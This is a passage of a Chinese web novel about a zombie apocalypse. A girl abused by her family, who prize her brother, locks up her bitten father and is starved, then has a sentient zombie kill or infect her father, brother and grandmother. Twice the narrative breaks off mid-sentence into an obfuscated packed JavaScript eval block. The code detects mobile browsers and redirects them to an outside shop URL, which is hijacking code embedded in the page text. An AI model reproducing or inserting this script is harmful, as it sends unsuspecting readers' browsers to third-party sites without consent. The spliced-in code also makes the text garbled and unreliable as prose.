“真的是太恐怖了，外面的人跟疯了似的。”何国梁和以往回家一样说道，“我刚好在外面跑业务，市区堵得都开不进去，我想着回来算了。” 何国梁之前也经常翘班回来休息。 他蹬掉脚上的皮鞋，穿上拖鞋，动作间话没停。 “刚下车关门的时候，一个人就扑了过来，真是疯了。还好我反应快把他挥开了。” 话语间，何国梁还有点得意：“我还是很厉害的嘛，就是那人死缠烂打，给我咬了一口，我就跑回来了。” 他抖了抖手上的伤口：“这是狂犬病吗？我是不是要先消个毒？回头去医院打针？” 何子来愣住。 爸爸这是还不知道丧尸的事情？ 何国梁平时上下班习惯听经典老歌，并不爱听广播，他觉得那些呱呱乱叫的主播什么都不懂，吵得很。回来走的还是高架桥或者高速，避开了最闹事的地方。 也是因此错过了广播里的官方通报，对于现在的情况并不了解。 何奶奶还没意识到不对，她已经哎哟哎哟叫着进了厨房：“那你肯定没吃饭，我给你烧点东西吃！” “2点了还没吃午饭，胃都要搞坏了！” “爸爸，您先去换衣服吧。”何子来抽过几张纸巾递给何国梁，接过他手中的公文包，像以往一样说道。 她强忍着，压低自己的声线，低着头尽可能不让声音颤抖得厉害。 “换好衣服，我再给您消毒。” 何子来是这么说的。 “嗯。”何国梁应了声，拖拉着脚步往里屋走去。 啪嗒啪嗒的脚步声，越发沉重，越发缓慢。 何子来紧紧咬牙，深怕何国梁在走到卧室的过程中变异。 还好，还好。 何国梁顺利走回卧室，房门被关上了。 关门声响起，何子来立刻冲到橱柜边，一把拉开，伸手去拿家里的备用钥匙。 找不到，怎么找不到？ 得赶紧锁门，锁门！ 刘芸还站在沙发边，嘴巴张开又闭上，眼泪也要夺眶而出，但她始终没有开口。 她知道，女儿是对的。 要听女儿的。 于是她走到鞋柜边，拿起刚刚何国梁随手甩下的车钥匙，捻起其中的一把，低声跟女儿说：“是这把。” 何子来：“！” 她没来得及多说，一把夺过钥匙冲到母父的房门边。 钥匙两次都没有戳进钥匙孔。 越是这个时候，手越发颤抖，控制不住自己的方向。 要被锁住的，是她的爸爸。 还好，不是妈妈。 这个念头闪过，何子来一愣，下一刻，她的手不再颤抖，准确无误地插入钥匙孔中。 ——咔嚓。 清脆的上锁声。 她成功从外面把房门锁上了。 只要从外面上了锁，房门就没办法从内打开，她太清楚这一点。 这个声音也吸引了屋内正在换衣服的何国梁。 逐渐僵硬的四肢让他使了半天劲都没能顺利把衣服脱下来，听到锁门的声音，他挪到了门口，伸手握住门把手。 打不开。 为什么打不开？ 他被关住了？ 意识到这一点的何国梁瞬间暴怒，立刻大力拍拽动着门把手，同时大声怒吼着： “谁锁门？谁敢锁我？！” 巨大的声音惊到了厨房里的何奶奶，她手擦在围裙上疑惑地走出来：“怎么了？锁什么门？” 刘芸立刻上去推着她往厨房走：“没有没有，您听错了，煤气还开着吧，太危险了。” “何子来！是不是你？！你皮痒了是吧，好大的胆子敢锁你爹？！赶快放我出来！” 一声又一声的辱骂传进何子来的耳中，她不为所动。 还有比这更难听的话，她听了很多很多。 已经听厌了。 没什么的。 何子来背紧紧贴着门，和何国梁猛烈抽动的力量做抵抗。 这个小区的开发商并不老实，说是精装修交付，实际上用的材料并不好，都是宣传的时候吹得天花乱坠，又夸得何国梁找不着北，才骗的何国梁买了单。 也是因此，身后的门板也是薄薄一片，何子来很怕在何国梁的大力下会被破坏。 “干什么啊你！怎么把国梁关起来了！” 何奶奶终于听明白了，她眉毛一竖，眼睛一瞪，快步向何子来走来。 “妈，妈！”刘芸连忙拦住她，压低声音说，“国梁他……被咬了。” “被咬了又怎么了？消毒不就好了。”何奶奶不屑一顾，“我儿子那么强，那什么丧尸病毒能怎么样？” “这就跟上次什么疫情差不多呗，有的人症状厉害的，有的轻点。” 家里的隔音并不好，何忠宝也被这动静吵醒，揉着眼睛打开房门，就看到一脸紧张死死抵着门的何子来。 “喂，你在做什么？我怎么听到爸爸的声音了？”何忠宝疑惑地问。 何国梁也听到了，大声起来：“阿宝！快帮爸爸把门打开？不知道你姐发什么神经把我给锁住了！” “不能开，爸爸被咬了！”何子来看着何忠宝，她知道弟弟刚刚刷了足够多的消息，再加上平时没少看电影，肯定知道这意味着什么。 只是平时爱装傻撒娇被宠成了胚胎，实际上11岁已经不算小了。 她11岁的时候已经包揽了所有家务。 而且。 何子来冷冷看着自己血脉相连的亲弟弟，嘴角微微勾起。 她的弟弟，自私极了。 果然，她看到何忠宝的脸 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何奶奶知道变成丧尸是没救的，但是固执的观念让她觉得自己的儿子是天，只要及时处理伤口，消毒病毒就不会变成丧尸。 所以，所以都是这个赔钱货！ 都是她害得她儿子变成鬼东西的！ 她气急了又抬手要给何子来一巴掌，被刘芸死死拦下。 何奶奶浑浊的视线撇了刘芸一眼：“看看你生的什么玩意！干的什么事情！” 她一屁股坐在地板上，拍着自己的大腿嚎哭： “国梁啊！我的儿啊！本来是有救的啊！” “都是这个赔钱货啊，当时就该把她丢河里啊！” 何子来捂着自己的脸，冷冷地看着自己的奶奶。 这种话她听了太多了。 从小奶奶就说，都是她占了何家的好运，从她出生，妈妈就怀不上儿子。打了又怀，怀了又打，终于时隔8年怀上了儿子。 哪吒可是3年怀胎的灵娃娃，这盼了8年的心肝可不得是哪吒的三倍优秀啊！ 何奶奶这么期待着，还找人算好了出生的好时辰，试图让刘芸在这个时间段剖腹产。 但是后面又听说剖腹产对孩子的发育不好，她有些遗憾地打消了这个念头。 太可惜了，太可惜了，如果在这个时辰出生那是多好的命格啊。 或许是上天听到了何奶奶的祈愿，刘芸真的在她看好的时间发动了。 何奶奶觉得她们何家有望了。 在这样的心心念念的祈愿与祝福好运达到巅峰的时候，刘芸却生下了一个孱弱的男婴。 一出生就进了加护病房，住了一个月才堪堪保住性命。 何子来记得她站在医院的走廊上，冰冷的消毒水味包裹着她，本该是初生儿聚集的地方却安静的恐怖。 她看到奶奶冷着脸站在玻璃前。距离有点远，看不清奶奶的表情，但奶奶的话在这寂静的环境里清晰可闻。 “可惜，这个也不好。” 何子来不理解这句话的意思。 哪怕何奶奶如此惋惜，终归是儿子，也给了他全部的爱。 从名字就可见一斑。 忠，是何家这辈的从字。 宝，是何家全部的宝贝。 随着时间流逝，何忠宝除了出生的那点波折，其余还算顺利。一直到何忠宝刚学会走路的时候，右脚不正常的弯曲让何奶奶积攒的情绪彻底崩溃。 崩溃的情绪需要一个抒发的源头，于是何子来理所应当地倒了霉。 何奶奶固执地觉得，一定是这个赔钱货，挤掉了她宝贝孙子的好气运。 尖锐又难听的语言戳进何子来的身上。她不明白，自己在饭桌上写着作业也能突然面临这样的怒火。 她明明什么都没做。 何子来只能低头，再低头，用手中的橡皮不停擦着手下自己刚写好的名字。 质量不好的橡皮擦过“何子来”三个字，划出黑灰的长长痕迹，像个箭头指向了恰好摔倒在地的何忠宝。 何子来。 子来。 儿子来。 这是她的名字。 8. 咬手已达到 关着何国梁的屋内，很快出现了嘎啦嘎啦的挠门声。 这是因为丧尸听到了门外激烈的人声，在捕食欲望的驱使下，在门上一下又一下地挠动着。 何子来抬眸看向还在不断咒骂的何奶奶，那双粗糙的，指甲中藏匿着黑泥的手带着肉腥味伸了过来，狠狠拧起她的胳膊，不顾她的挣扎，把她关进了房间。 钥匙锁门的声音响起。 她也被关起来了。 和之前每次奶奶生气时候的行为一样。 何子来僵硬地扯了扯嘴角，发现自己还能笑，便不再在意，扭身在自己的床上坐下。 这个房间说是她的房间，实际上是书房，也可以叫做客房。 她们的家120平，一共四室两卫一厅，四个房间分别是母父的房间、奶奶的房间、何忠宝的房间和一间书房。 明明可以给何子来一个房间，却为了不知什么时候会来的客人专门留了一个房间。 里面放了一张小床，打满了一整个房间的收纳柜。 平日里不管她在不在，都被当做仓库使用。 何子来觉得自己经常也像一个不需要的东西，被收纳在了仓库里，在需要的时候才会拿出去，用完后又会放回原处。 门外的声音变小了，看来是刘芸劝说好了何奶奶，也没有尝试再去打开何国梁的房间。 看来她的奶奶还是很惜命的。 · · 接下来的三天，何子来一直被关在房子里。 在何奶奶的压迫下，刘芸一天只能给女儿送一顿饭，而且还都是她们吃剩的饭菜。 只有在这个时候，才能让何子来去一趟厕所，简单洗漱一下。 她知道为什么。 在何子来吃饭的时候，刘芸绞着手一脸难色地跟她说了。 “我们刚搬进来没多久，很多东西都还没买。” “你奶都没囤上什么东西，如果外面一直这样，没有救援我们不知道要在屋里待多久。” “那些东西不够我们一家人吃多久的，所以一定要省着点吃。” 刘芸说到这里，顿了顿，暗暗咽了口唾沫。 她其实也没有吃饱，这些剩菜就是从她口里剩下来给女儿吃的。 何奶奶心狠极了，根本没有准备何子来的饭菜。 “而且……而且你弟弟还在长身体，得吃好一点……” 实际上哪怕准备了，也会被何忠宝风卷残云地吃完。 越说刘芸头越低，声音越细微，最后如同蚊子叫一般。 她也知道这很不公平，但是她有什么办法呢？ 何子来就着全部混在一起的菜汁，珍惜地吃下了最后一口饭。 舔了舔嘴角的汁水，在嘴里砸吧几下。 嗯吃出了一点肉味，应该是红烧鸡腿的味道，看来都在何忠宝的肚子里了。 何子来没有多说，她都知道的。 而且她已经习惯了。 外面传来何忠宝的吵闹声，刚吃饱饭没多久，他又吵着要吃零食。 “乖宝，乖宝，还有个鸡腿我们吃鸡腿好不好？” 何奶奶的声音断断续续地传来。 何子来和刘芸都吞了口唾沫。 她们也想吃。 “刘芸！“ 刺耳的声音响起，是何奶奶在找人。 刘芸后背一紧，从何子来手里拿过用完的碗筷，刚站起身，因为饥饿头部微微发晕让她眼前黑了一瞬。 就在这一瞬，房门被打开了。 何奶奶站在门口，看着她们两个。 那是一种什么样的眼神。 何子来觉得自己没办法描述。 明明她们应该是血脉相连的一家人，但是为什么眼神中却不含一丝温度。 这不该出现在自己亲奶奶的眼中，应该出现在看仇人的眼中。 何子来不理解，明明何国梁变成丧尸是由于被丧尸咬了，并不关她的事情，为什么何奶奶执着地憎恨她？ “你这么关心她，干脆和她待一起好了。” 冰冷的声音从干瘪的嘴中吐出，落在何子来的心中觉得荒谬无比。 越过何奶奶的肩膀，可以看到何忠宝拿着手机站在后面。察觉到何子来的眼神，他还能扯一扯嘴角，露出个看戏的笑容。 一股冲动酝酿在何子来的心中，或许这个冲动已经积攒了很久，很久。 在她被亲戚们指手画脚嫌弃的时候，在她听到刘芸摸着肚子感叹，打了那么多这次终于行了的时候，在她被扇巴掌的时候…… “我有做错什么吗？”何子来开口说道。 “奶奶，你这么恨爸爸变成丧尸，你怎么不出门杀了那头丧尸呢？” 何子来盯着何奶奶。 “你还有脸说话？” 又是一巴掌截断了何子来要吐出的所有话语。 没有好好吃饭的她毫无力气，被这沉重的一巴掌扇倒在地。刘芸一慌，连忙想去扶她。 “啪！” 摔门声响起，房门被锁上了。 这次，刘芸和何子来都被关在了一起。 何子来挣扎起身，用尽全身的力气，大力拍打着房门。 “放我出去！你凭什么把我们关起来！” 门外是一片寂静，她的拍门声没有换来任何的回应，只有变成丧尸的何国梁察觉到，开始用脑袋哐哐撞门。 何子来面色苍白，回头和刘芸对视，发现刘芸的脸色没有比她好到哪里去。 “妈妈……”她低声开口。 “你奶奶是故意的。”刘芸打断了她的话，轻声说。 “我今天看了一下米缸和冰箱里的东西，真的不多。”刘芸两眼无神，“如果我们四个人吃，撑不了一个星期。” “官方的救援也不知道什么时候来，我没有在物业群里，只有你爸爸和奶奶在里面。也不知道我们的物业有没有物资救助……” “什么时候能得救，我们都不知道……” 何子来失去了全部力气，背靠着门板滑坐下来。 “可是……” 她喃喃道。 “可是，吃得最多的人，是弟弟啊……” 刘芸没有应声，上前抱住她默默流泪。 她们都知道等待她们的会是什么。 · · 末日第五日。 何子来和刘芸已经两天没有进食任何东西，也没有任何水源。 不吃东西只是饥饿，但如果没有水源，那很快就会死亡。 何奶奶一直是个自私又绝情的人，她真的这两天没有给她们任何食物甚至是一滴水，都不开门让她们出门上厕所。 实在憋不住了，她们只能在屋内找个角落解决。 屋里的气味混杂，让人想吐但因为腹中空空如也，只能干呕。到了后面连干呕的力气都没有了，鼻子也适应了这个气味。 那一刻，何子来觉得自己像个畜生。 她和刘芸躺在床上，尝试了很多方法，也说了很多，门外从来没有回应。 只有何国梁用头敲门的声音。 “咚咚咚……” “咚咚咚……” 她们也想了很多很多。 “妈妈，你为什么不反抗？” “反抗有用吗？” “……” 何子来伸手捏了捏兜里的钥匙。 她有点后悔。 那个时候就应该强行冲出去，打开关着何国梁的房门，干脆一家人一起死。 而不是现在只能窝囊地待在屋内，和妈妈一起饿死。 好后悔啊。 何子来想。 如果能有人帮帮她就好了。 她好恨啊。 如果能再来一遍…… 这样的想法在脑袋里转了又转，最后只能化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为，门开了。 先是一双穿着白色运动鞋的脚，这个大小不像是何国梁的鞋码，何国梁也不会穿如此年轻的款式。 往上是黑色的运动裤和黑色的T恤，露出的两只胳膊都捆绑着胶带，胶带上面颜色又红又绿，看起来不是很好。 一只手上拎着一把……棍子？ 纤细的身材，是一个女性。 何子来愣住，终于彻底抬头，对上了一双眼睛。 那是一双很漂亮的眼睛，眼型偏长，是网上人家形容的桃花眼。 但对上眼的瞬间，何子来不知怎的，打了一个寒颤。 她觉得那双眼睛没有任何温度，也没有任何情绪。 牧遥看着面前呆呆的何子来，确认了这就是她的“客户”。 毕竟牧遥自从接到这个订单后，眼前就有着红色的大箭头，为她导航。 此时这个箭头变成了七彩颜色，快乐地从四面八方戳着何子来的小脑门，表示着： “来呀来啦~找到客户啦~” 牧遥下意识准备开口说话，口罩之下的嘴张开后却没发出任何声音，她及时地闭了嘴。 她有预感，如果嗓子再用力，她可能会发出丧尸的吼声。 空着的左手动了动，牧遥从口袋里摸出手机，找到里面的辅助功能，开启朗读模式。 冰冷的电子音从手机里传出： “您好，我是来完成订单的。” “您想我咬谁？” 9. 姐姐，你是丧尸？ 何子来：“？” 何子来：“？？？” 何子来：“！” 什么东西？ 何子来的脑子彻底死机，她觉得自己听不懂牧遥说得……不是，是她手机里说的话。 什么叫咬谁？ 啊？咬？ 丧丧：「……」 救大命了。 另一边，丧丧也很崩溃，它在牧遥的脑子里大吼：「宿主——！我的主啊！您怎么能直接这样说啊？！」 正常人不是千方百计隐藏自己的丧尸身份，深怕被人发现吗？ 身为一个有神志的丧尸，不应该悄悄生活吗？ 她这跟敲锣打鼓拿着个喇叭大声吼自己是个丧尸有什么区别？ 牧遥疑惑：“不行吗？” 这不是她的订单吗？ 而且她就是一个丧尸啊。 这样多好，直接说明问题，没有那么多弯弯绕绕。 丧丧：「……」 牧遥能听到丧丧噗嗤噗嗤用力吸氧的声音。 它的语气恨铁不成钢：「主啊，您就不怕人听到你是丧尸，吓得直接把您给宰了吗？」 牧遥：“！” 可以这样吗？ 妙啊 那真是太好了。 丧丧：「当然不行。」 牧遥：“哦。” 那真是太可惜了。 牧遥歪了歪头，打心里不大赞同丧丧的话：“我觉得她们没有力气把我宰了。” 她抬抬下巴，示意丧丧看向前面发愣的何子来和瘫软在床上的刘芸。 牧遥：“她们好像快死了。” 丧丧：「！！！」 宿主！那您还愣着做什么啊！快救人啊啊啊—— 牧遥甩甩头，丧丧的声音吵得她脑瓜疼。 当然，她没有疼痛的感觉，是精神上的吵。 牧遥回头看向客厅里被她打倒在地的何忠宝和何奶奶。再通过身后房门咚咚的敲击声和徘徊的脚步声，她目光一转，心里已经对发生了什么事情有所猜测。 察言观色，推测事情怎么发生的，是她最擅长的事情。 于是她转身走到厨房，打开冰箱的冷藏区域，里面只剩下三瓶牛奶和几个鸡蛋。 牧遥伸手拿过两瓶牛奶，再从客厅的零食盒子里随手掏出两个小面包，返回到何子来的面前，把其中一瓶牛奶拧开后递给她。 “吃，再喂给你妈妈吃。” 电子音一响起，让何子来又是一哆嗦，她下意识听从牧遥的话，接过了她手里的牛奶和小面包。 她的手不小心触碰到了牧遥的手，何子来一个激灵立即缩回手。 好冷的手。 此时久违的水源在她面前，何子来顾不得那么多，连忙喝下两口牛奶。 冰冷的液体滑过她的喉咙，一路冰凉地滑落进胃。 久不进食的胃摄入冰凉的牛奶，不适应地抽搐两下，带给了她疼痛。 应该是不舒服的感觉，但如今，这个疼痛都让她感到开心。 毕竟刚刚，她连疼痛的知觉都要失去了，现在这个疼痛反而给了她能量。 何子来珍惜地砸吧了一下嘴里的味，赶忙挪到刘芸的面前，慢慢给她喂下牛奶。 牧遥确保了自己的单主一时半活儿死不了，就把小面包和剩下的一瓶牛奶放在床边，转身来到何国梁的房门前。 她在心里问丧丧：“能扫描里面那头丧尸的信息吗？” 丧丧：「不行捏，只能宿主咬过的人，我才能获取他的信息捏。」 牧遥：“那里面已经尸变的怎么办？我再咬一口？” 感觉很难吃的样子。 牧遥不是很想咬。 丧丧：「算了吧宿主，别为难自己，直接杀了就好。」 听到这个话，牧遥歪歪头。 这有点出乎她的预料了。 她还以为可以咬已经尸变的人，转换成她的小兵或者啥的，结果只能是杀掉吗？ 没有救了吗？ 丧丧：「变成丧尸的人已经变不回来了。」 啊，这样。 很有道理。 “里面是我的爸爸。” 何子来的声音从背后响起，伴随着塑料被撕开的声音，她啃上了小面包，有点含糊地说道，“他回家的时候被咬了，我把他关了进去。” 牧遥转身看向她，没有继续追问细节，只是打字：“我可以杀了他。” 一般来说家人听了这话都会拒绝。 正当牧遥继续打字，想要跟她解释，变成丧尸的人是没救的时候，她听到了何子来的回答。 “好啊。” 何子来的语气甚至称得上轻快。 “子来！” 刘芸虚弱的惊呼声从屋内传来。 牧遥打字的手微微一顿，手机已经把这句话播报了出来。 “变成丧尸的人是没救的。” 何子来了然地回头，看向刘芸说道：“妈妈，你听到了，是没救的。” 喝下牛奶的刘芸恢复了一些力气，她想哭，但是没有眼泪流出来，只能低声说道：“可是那是你的爸爸……” “他没救了。”何子来重复道。 “后面国家说不定有办法呢……就像之前疫情不是也有了疫苗……” “妈妈。”何子来打断了刘芸的话，语气坚定。 她这几天想了很多。 甚至想了如果何国梁没有变成丧尸会怎么样，是不是她和刘芸就不会被关起来。 很快，何国梁日常看她那嫌弃的眼神，刻意的忽视，明里暗里的打压……这一切在她脑海里叫嚣着。 别天真了。 何子来觉得，不论发生什么，她最后都会进入这个杂物间。 只要从她身上找出一个错处就好。 像以前一样，像一直以来一样。 何子来都能想到何国梁会怎么暴怒，何奶奶会怎么说风凉话，何忠宝会站在一旁笑着看她，只有刘芸会试图阻挡，但最后会放下抬起的手。 她的脑子似乎终于理解了牧遥刚刚的话，她抬头看向牧遥，问道： “姐姐，你是丧尸？” 牧遥的手指敲打着，在丧丧的尖锐爆鸣中播放：“是的，我是丧尸。” 丧丧：「宿主！那种事情不要啊！」 牧遥没搭理它，继续打字。 “你想我咬谁？” 【您的咬了么订单已送达，请及时确认查收哦！】 这行字还在她的脑中波浪。 原来是这个意思啊，何子来扯了扯干裂的嘴角。 “我想你咬我的奶奶和弟弟。” “何子来！” 何子来回头看了刘芸一眼，没有多说，转过头看向牧遥：“姐姐，这是我的订单。” “何子来！你在说什么，她们是你的家人啊！”刘芸不敢相信自己的女儿在说什么，也不理解现在的情况。 她突然迸发了力气，跌跌撞撞地拉住何子来，她终于看到了牧遥。 奇怪又难闻的气味和非人感扑面而来。 “她是什么人？你怎么能信她？订单是什么？！” 牧遥：“我是丧尸。” 手机播放完，她生怕刘芸没听清楚，点击循环播放。 冰冷的电子音响彻整个屋子。 “我是丧尸，我是丧尸，我是丧尸——” “我是丧尸，我是丧尸，我是丧尸——” 刘芸似乎受到了强烈的精神冲击，她的双唇剧烈抖动，似乎就要晕过去。 丧丧崩溃：「我的主啊——」 行吧。 感觉到丧丧可能要晕倒了，牧遥贴心地关掉了循环播放。 但很快，刘芸反应过来，拉着何子来的手臂，语无伦次地说：“丧，丧尸也能有神志！你看！还能打字！” 她用期盼的眼神看着女儿：“那爸爸也可以这样吧？他也可以有神志，那样我们又是一家人……” 何子来一愣，看向牧遥。 “我是特殊的，没有其他人能像我这样。” 冰冷的话击倒了刘芸最后的一丝期盼。 “可是……可是……” “妈妈。”何子来看向刘芸，她觉得自己的脑子从来没有这么清醒。 “他们有把我当一家人吗？” “当然，当然是一家人！” “那我们为什么会被关在这里呢？” 刘芸语塞。 她别过头，嘴上还是在说：“那，那也不能因为这个……” 何子来不再管刘芸，她对牧遥重复说道：“我需要你咬我的奶奶和弟弟。” 牧遥爽快回复：“行，那我先杀了你爸。” 这荒谬的对话让刘芸觉得自己要昏过去了。 何子来从兜里摸出钥匙递给牧遥：“姐姐，这是钥匙，门还是不要损坏比较好。” 她看着牧遥都是胶带的手，还颇为贴心地问道：“要我帮你开门吗？” 牧遥：“谢谢，我可以。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16699577|189131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “不好意思要杀了你爸。”牧遥又补充了一句，随后接过了钥匙，打开门，右手把手里的宝耙捅了进去，似乎怼着什么，这才进了屋。 她还贴心地关上了门。 牧遥觉得自己的服务能够被打个五星好评。 屋里很快传来“噗嗤、噗嗤”的声音，然后是“咚”的一声。 听到这个声音，谁都知道发生了什么，刘芸终于受不住打击，晕了过去。 何子来把她扶到床上后就没再管她。 她一直盯着门，直到眼前的门被打开了小缝，一个手机探了出来，问何子来：“尸体怎么办？放屋里还是我处理了？” 何子来沉默了一会儿，道：“你处理了吧。” 她也没有继续询问是怎么处理的。 多一事不如少一事，牧遥觉得何子来的行为处事很有边界感，她回了个：“行。” 重新关上房门。 丧丧在牧遥接到订单后，给她提前简单科普过，只要是和任务对象相关的丧尸或者尸体，都可以无害化处理。 牧遥听从丧丧的指示，摸上了何国梁被贯穿的头颅。 下一瞬，何国梁的身躯和散落的鲜血，以及走来走去产生的脚印全部消失。 就像这个人不曾存在过。 「已成功处理。」 丧丧提示道。 牧遥：“身体去哪了？” 丧丧：「这是商业机密哦宿主~」 牧遥也没多问，转身出了屋子，把钥匙还给了何子来：“收好。” 何子来点头：“谢谢姐姐，那接下来是奶奶和弟弟了。” 她站起身，和牧遥一起走到客厅，看着躺在地上不省人事的两人，神色冷淡。 良好的职业操守让牧遥再次和何子来确认了工作内容。 牧遥：“确定要咬的对象是你的‘奶奶’和‘弟弟’，就是眼前的这两个人？” 何子来闭了闭眼，表情痛苦但还是很快回道：“是的。” 她顿了顿，补充了一句：“他们没救了。” 他们早就没救了。 牧遥：“那我就动手了，你要看吗？” 何子来犹豫了一下，还是背过身去：“你动手吧，麻烦你了。” 牧遥低头看着何奶奶和何忠宝，决定先咬小的。 看起来嫩一点。 说实话，她真不想咬人，那时候咬刘志留下的恶心口感和味道还残留在她的嘴边。 牧遥的记性又特别好，时不时还能回想起那个味道。 哕。 她心不甘情不愿地蹲下身，用手指捻起何忠宝的一根手指头，另一只手拉下口罩，把獠牙凑上去，在何忠宝白胖的手臂上咬了一口。 口感像是放了过量盐巴和糖的纯肥五花肉，浓厚的油脂充盈在口腔里，让牧遥立刻把手里的胳膊甩到地上。 噫，好像咬了一口大肥猪。 「嘟嘟嘟~」 「检测到丧尸主已感染一个人为丧尸，现在为您结算……」 「……结算完毕」 「恶臭评级：D级（具备升级潜能）」 「丧币奖励：150SB」 丧丧在牧遥脑海里撒花加配乐：「宿主您太棒啦~这是个恶臭潜力股捏，早早咬掉断绝他成长为大臭臭的未来！」 「要我现在给您播报他短短的臭臭人生吗？」 牧遥：“……不了，没兴趣。” 「那要我为您播放他未来可能会成为的大臭臭吗？」 牧遥：“……不了，你放过我吧。” 她怀疑丧丧在报复她刚刚循环播放“我是丧尸”音频的行为。 对不起，下次还敢。 牧遥咽了口早就不分泌，应该不存在的唾沫，想要压下口里恶心的感觉。 她努力缓了缓，这么短的时间内，面前的何忠宝猛得睁开了灰白的双眼，弹射起来扑向背对着她们的何子来。 牧遥手中的宝耙一转，瞬间穿透了何忠宝的腹部，狠狠将他钉在了地上。 听到声音的何子来转身，看到的就是丧失神志只会怒号喷射口水的何忠宝。 “哈……” 何子来甚至还能笑出声。 变成丧尸后的何忠宝，和以前也没什么区别。 只会怒号着，喷着口水，肆意洒脱着情绪。 牧遥确定何子来的情绪还算好，便扭头看向地上的何奶奶。 轮到她了。 但就在这时，何奶奶醒了。 10. 您的咬了么订单已完成！ 牧遥眉毛一挑，有点出乎意料。 丧尸化后她本就不弱的力气进一步加强，为了不把两人拍死，她虽收了点力道，但依旧强力。 这老太太身体还挺好的。 何奶奶睁开眼，看到自己平时不待见的孙女站在面前，旁边还站了个打扮奇怪的陌生女性。 此时她躺在地板上，两人都居高临下地看着她。 依稀记得好像有人敲门，说是物业运送物资，她打开了门，再往后……再往后…… 再往后她就什么都不知道了！ 她顿时火气上涌，还没反应过来周边的情况，下意识选择了舒适区内的反应。 她直接指着何子来破口大骂：“你怎么出来的，啊？谁让你出来的？” 一边说着还挣扎着坐起身：“你还愣着做什么？来扶我啊？” 何子来瞥了她一眼，没有搭理，目光转向何奶奶的身侧，扯了扯嘴角，笑得一脸嘲讽。 何奶奶如同一拳打在了棉花上。 这是什么态度，她在笑什么？ 她下意识顺着何子来的目光方向扭头，就看到了让她瞋目裂眦的一幕。 自己呵护在手心的宝贝孙子被钉在地上，腹中流淌着黑血，脸上毫无人类的感觉。 何奶奶的心顿时咯噔一声。 眼见着何忠宝面朝向她，张嘴嘶吼着，飞溅出绿色的唾沫。竟然不顾被钉着的腹部，伸着手想向她扑来。 墨绿的粘稠液体溅到她的手上，她的鼻子抽动一下。 嗯，很臭。 这是怎么回事？ “啊……阿宝！！”过了半晌，何奶奶悲嚎一声，竟然想扑到何忠宝的身上。 牧遥伸手挡住何奶奶的动作，防止她被何忠宝咬到。 这可是她的积分，不能便宜了他。 这么想着，牧遥另一只手反手一摸，把何忠宝关进了牢笼。 何忠宝的身体骤然消失，只剩下一把带血的棍状物体插在地板上。 眼前的这一切明显超出了何奶奶的理解范围，她的愤怒和害怕无法抒发，又不敢对一看就不好惹的牧遥下手。 一直以来的生活经验让她身体涌出无穷的力量，伸手抓住何子来。 巨大的力气在何子来几天没吃东西的身体上瞬间勒出了红痕，她眉头一皱，想要挣脱开禁锢。 察觉到何子来的反抗后何奶奶更愤怒了，她的手用了更大的力：“这到底是怎么一回事！” 她语气带了哭腔：“阿宝……阿宝！那是我们何家的根啊，他去哪了，没有他我们怎么办啊？” 我们何家。 但是奶奶，你不姓何呀？ 何子来脸上没有一丝表情。 被关在杂物间的时候，她想了很多。 比如出来了要跟奶奶说什么，她一直以来的想法是什么。 真正出来了，她却不想说了。 何子来沉默，她默默转头看向牧遥：“姐姐，还有奶奶。” “什么还有奶奶？”何奶奶悚然开口，扭头便看到牧遥朝她走了过来。 牧遥取下了脸上的口罩，露出了下方惨白的皮肤，裂开的嘴里是森森獠牙，拉出墨绿色的丝。 这分明也是一只丧尸！ “什……” 何奶奶的大脑顿时一片空白，恐惧包裹住她的全身。 为什么何忠宝突然变成了丧尸，为什么这个丧尸好像能听懂人说话，又为什么好像和她孙女有什么关系…… 电光石火间，她明白了什么，怒目瞪向何子来，尖锐的声音扎在她身上，和往常一般。 “都是你这个扫把星！！都是你干的对不对！” 何奶奶没有管接近的牧遥，伸出手掌用力拍打在何子来身上，一下又一下。 牧遥距离何奶奶已经一步之遥。 “没有你就好了，要是没有你就好了！” 何奶奶干瘪的手指戳着何子来的脑袋，把她的头都戳到一边，哪怕如此，何子来也一声不吭。 牧遥捏住了何奶奶挥舞的手指。 瘦小干瘪的老太太个子应该只有一米五。 “你！”何奶奶怒目转向牧遥，却被她的脸吓得一哆嗦，什么话都说不出来。 牧遥也没有给她说话的机会，不顾她的挣扎，弯腰低头咬上她的手指。 一股浓烈得像是掘地三尺挖出的陈旧泥土，带着金属的潮气和腐朽的气息。 牧遥怀疑自己咬上了一具木乃伊。 算了，腐朽的味道比下水道和生肥肉好。 牧遥忍着想吐的冲动，木着脸嚼了嚼，把这截腐朽破败的手指头吞了下去。 这一口应该够她维持下一个周的□□能量。 「呀呀呀~」 「检测到丧尸主已感染一个人为丧尸，现在为您结算……」 「……结算完毕」 「恶臭评级：D级（病入膏肓）」 「丧币奖励：150SB」 何奶奶的眼睛都没有闭上，眼珠子瞪得就要跳出眼眶。她的身躯直挺挺地倒下，失去了呼吸。 何子来看着地上的奶奶，伸手缓慢揉着脸上的红印。 她沉默片刻，蹲在何奶奶的身边，轻声问道：“为什么呢？” 为什么要这样区别对待呢？ 为什么明明都是女性，却要为难妈妈，为难自己呢？ 就因为她第一个生出的就是儿子，她就比人高贵吗？ 何子来看着已经死去何奶奶，觉得自己应该流几滴眼泪，痛哭一般。 但是奶奶的死亡就是她一手造成的。 悲伤？没有的。 愧疚？没有的。 爽感？也没有的。 “我这算杀人犯吗？”何子来喃喃道，声音微不可闻。 牧遥已经戴回了口罩，她本可以不回复她，想了想还是敲打手机：“杀了她们的是我，与你无关。” 何子来没有再说话。 何奶奶的身躯迅速僵硬，没过一会儿开始逐渐发白，像是被人调节了色彩的饱和度。 